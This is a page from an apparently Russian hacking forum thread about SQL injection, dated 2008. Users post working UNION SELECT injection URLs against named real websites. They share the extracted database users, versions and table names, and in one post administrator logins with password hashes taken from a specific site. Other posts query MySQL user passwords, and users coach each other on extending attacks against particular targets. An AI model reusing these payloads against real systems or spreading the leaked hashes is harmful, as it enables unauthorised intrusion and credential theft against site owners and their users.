ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 644 из 1242 « Первая < 144544594634 640 641 642 643 644 645 646 647 648 6546947441144 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #6431  
Старый 25.08.2008, 10:37
Аватар для dr.Pilulkin
dr.Pilulkin
Познающий
Регистрация: 03.06.2007
Сообщений: 44
Провел на форуме:
418827

Репутация: 48
По умолчанию
http://www.marinersoftware.com/sitepage.php?page=-85+union+select+1,2,3,user(),5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22--

/home/marinersoftware/www/sitepage.php

marinersoftware@localhost
4.0.24
marinersoftware
 
Ответить с цитированием

  #6432  
Старый 25.08.2008, 11:32
Аватар для [CRC]
[CRC]
Новичок
Регистрация: 22.11.2007
Сообщений: 8
Провел на форуме:
666931

Репутация: 20
По умолчанию
Код:
http://www.contzert.ru/?page=order&id=99999+union+select+1,2,concat(0x3a3a,user(),0x3a3a,version(),0x3a3a,database()),4,5,6,7,8,9,10,11/*
Цитата:
User: materdesk_masha@194.85.90.40
Version: 4.1.22
Database: materdesk_contzert
 
Ответить с цитированием

  #6433  
Старый 25.08.2008, 12:01
Аватар для dr.Pilulkin
dr.Pilulkin
Познающий
Регистрация: 03.06.2007
Сообщений: 44
Провел на форуме:
418827

Репутация: 48
По умолчанию
Цитата:
http://www.er34.ru/
hst-79811-1.admins
username
user_password

hst-79811-1.ibf_members_converge
converge_pass_hash
converge_pass_salt

hst-79811-1.sn_admins
admin_id
login
password

adminyug:5b16e49c4618bfc9b90665f38687af57
adminyug:5c8d3eee993f0bd5cde03ae5e018e5ac
yugrig:61686402abe82e0748c9fef76fb9f326
amdin:99be844677c58d723605ea5a1b558741

Хорошие пароли у него похоже
Последний раз редактировалось dr.Pilulkin; 25.08.2008 в 12:04..
 
Ответить с цитированием

  #6434  
Старый 25.08.2008, 12:50
Аватар для Shaitan-Devil
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843

Репутация: 204
По умолчанию
Код:
http://www.barcelo.edu.ar/vernoticia.php?id=1+union+select+1,2,3,4,5,6,7,8,unhex(hex(version())),10,11,12,13,14,15,16,17,18,19,20,21/*
http://www.calcsandmore.com/hlavni.php3?PLANG=&rec=-1+union+Select+version()/*
http://www.dr-wellering.de/index.php?topid=675&groupid=3226&subgroupid=0&contentid=-7331+union+select++1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,unhex(hex(version())),24,25/*
http://www.infosecur.ru/out_e.php?id=-1018+union+select+1,2,3,unhex(hex(version())),5,6,7,8,9,10,11,12,13/*
http://intelt.com/spb/hotel/?id=-1+union+select+1,version(),user(),4,5/*
 
Ответить с цитированием

  #6435  
Старый 25.08.2008, 13:33
Аватар для Fugitif
Fugitif
Постоянный
Регистрация: 23.09.2007
Сообщений: 416
Провел на форуме:
1781065

Репутация: 869
По умолчанию
Код:
http://www.unitedcorevision.com/id/print.php?type=A&zid=1+UNION+SELECT+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9/*
Цитата:
5.0.27-standard:u3251_newuv:u3251_newuv@localhost
 
Ответить с цитированием

  #6436  
Старый 25.08.2008, 21:55
Аватар для $n@ke
$n@ke
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813

Репутация: 1396


По умолчанию
Цитата:
http://www.town.madison.wi.us/fire/calendar/index.php?display=event&id=-772+union+select+1,username,3,4,5,6,7,8,9,10,11,12 +from+ltw_usersv4/*&date=2008-Aug-12&returnto=month
version():5
 
Ответить с цитированием

))
  #6437  
Старый 25.08.2008, 22:10
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
Talking ))
Вот что я нарыл за 3 часа

http://www.greenshift.com/news.php?id=-134+union+select+1,password,3,4,5,6,7,8,9,10,11,12 +from+mysql.user/*
http://www.rdi-cam.com/pic.php?i=-33+union+select+1,2,3,4,5,6,7,8/*
--
http://www.flyfishinginnh.com/news.php?id=-13+union+select+1,2,3&limit=0
Список БД
http://www.flyfishinginnh.com/news.php?id=-13+union+select+1,table_name,3+from+INFORMATION_SC HEMA.TABLES&limit=0
--
http://www.merryhearts.org/news.php?id=-13+union+select+1,2,3,4,5,6,7/*
http://ledi.ru/news.php?id=-13+union+select+1,2,3,table_name,5,6+from+INFORMAT ION_SCHEMA.TABLES+limit+25,1&te=0
http://ledi.ru/news.php?id=-13+union+select+1,2,3,table_name,5,6+from+INFORMAT ION_SCHEMA.TABLES+limit+15,1&te=0
http://ledi.ru/news.php?id=-13+union+select+1,2,3,table_name,5,6+from+INFORMAT ION_SCHEMA.TABLES+limit+16,1&te=0

Можете по перебирать таблицы используя limit+от 0,1 до непомню до скольки
Последний раз редактировалось SeNaP; 25.08.2008 в 22:17..
 
Ответить с цитированием

  #6438  
Старый 25.08.2008, 22:37
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,3,3,4,5,6/*
дальше не могу
-------------
http://www.variant-billiard.ru/news.php?id=-13+union+select+1,2,3,4,5/*
Версия MySQL

http://www.variant-billiard.ru/news.php?id=-13+union+select+1,2,3,VERSION(),5/*
USER
http://www.variant-billiard.ru/news.php?id=-13+union+select+1,2,3,USER(),5/*
База Данных
http://www.variant-billiard.ru/news.php?id=-13+union+select+1,2,3,DATABASE(),5/*
----------------------------------
вот еще одна, только я не логаняю что дальше

http://www.theenemy.com/news.php?id=-13+union+select+1,2,3,4,5,6,7,8,9,10,11/*
--------------------------------
http://post-dvor.ru/news.php?id=-13+union+select+1,2,3,4/*
версия MySQL 4.0.27-log 3
--------------------------
http://www.budd-pni.com/news.php?ID=-13+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,22,23,24/*
--------------------------
Последний раз редактировалось SeNaP; 25.08.2008 в 23:32..
 
Ответить с цитированием

  #6439  
Старый 26.08.2008, 03:28
Аватар для USAkid
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию
Цитата:
Сообщение от SeNaP  
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,3,3,4,5,6/*
дальше не могу
Давай поможем

Код:
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,unhex(hex(version())),3,4,5,6/*
version() - 4.1.15-standard
user() - tartanarmy_cms@server88-208-202-138.live-servers.net
database() - tartanarmy_cms

Также докрутим
Таблички:
Код:
http://www.rdi-cam.com/pic.php?i=-33+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables/*
и
Код:
http://www.rdi-cam.com/pic.php?i=-33+union+select+1,concat_ws(version(),user(),database()),3,4,5,6,7,8/*
Все в твоих руках. Главное - пробовать Удачи
Последний раз редактировалось USAkid; 26.08.2008 в 04:42..
 
Ответить с цитированием

  #6440  
Старый 26.08.2008, 06:34
Аватар для SeNaP
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
Провел на форуме:
3300342

Репутация: 165
По умолчанию
Цитата:
Сообщение от USAkid  
Давай поможем

Код:
http://www.tartanarmy.co.uk/news/news.php?id=-13+union+select+1,unhex(hex(version())),3,4,5,6/*
........
спасибо
 
Ответить с цитированием
Ответ
Страница 644 из 1242 « Первая < 144544594634 640 641 642 643 644 645 646 647 648 6546947441144 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ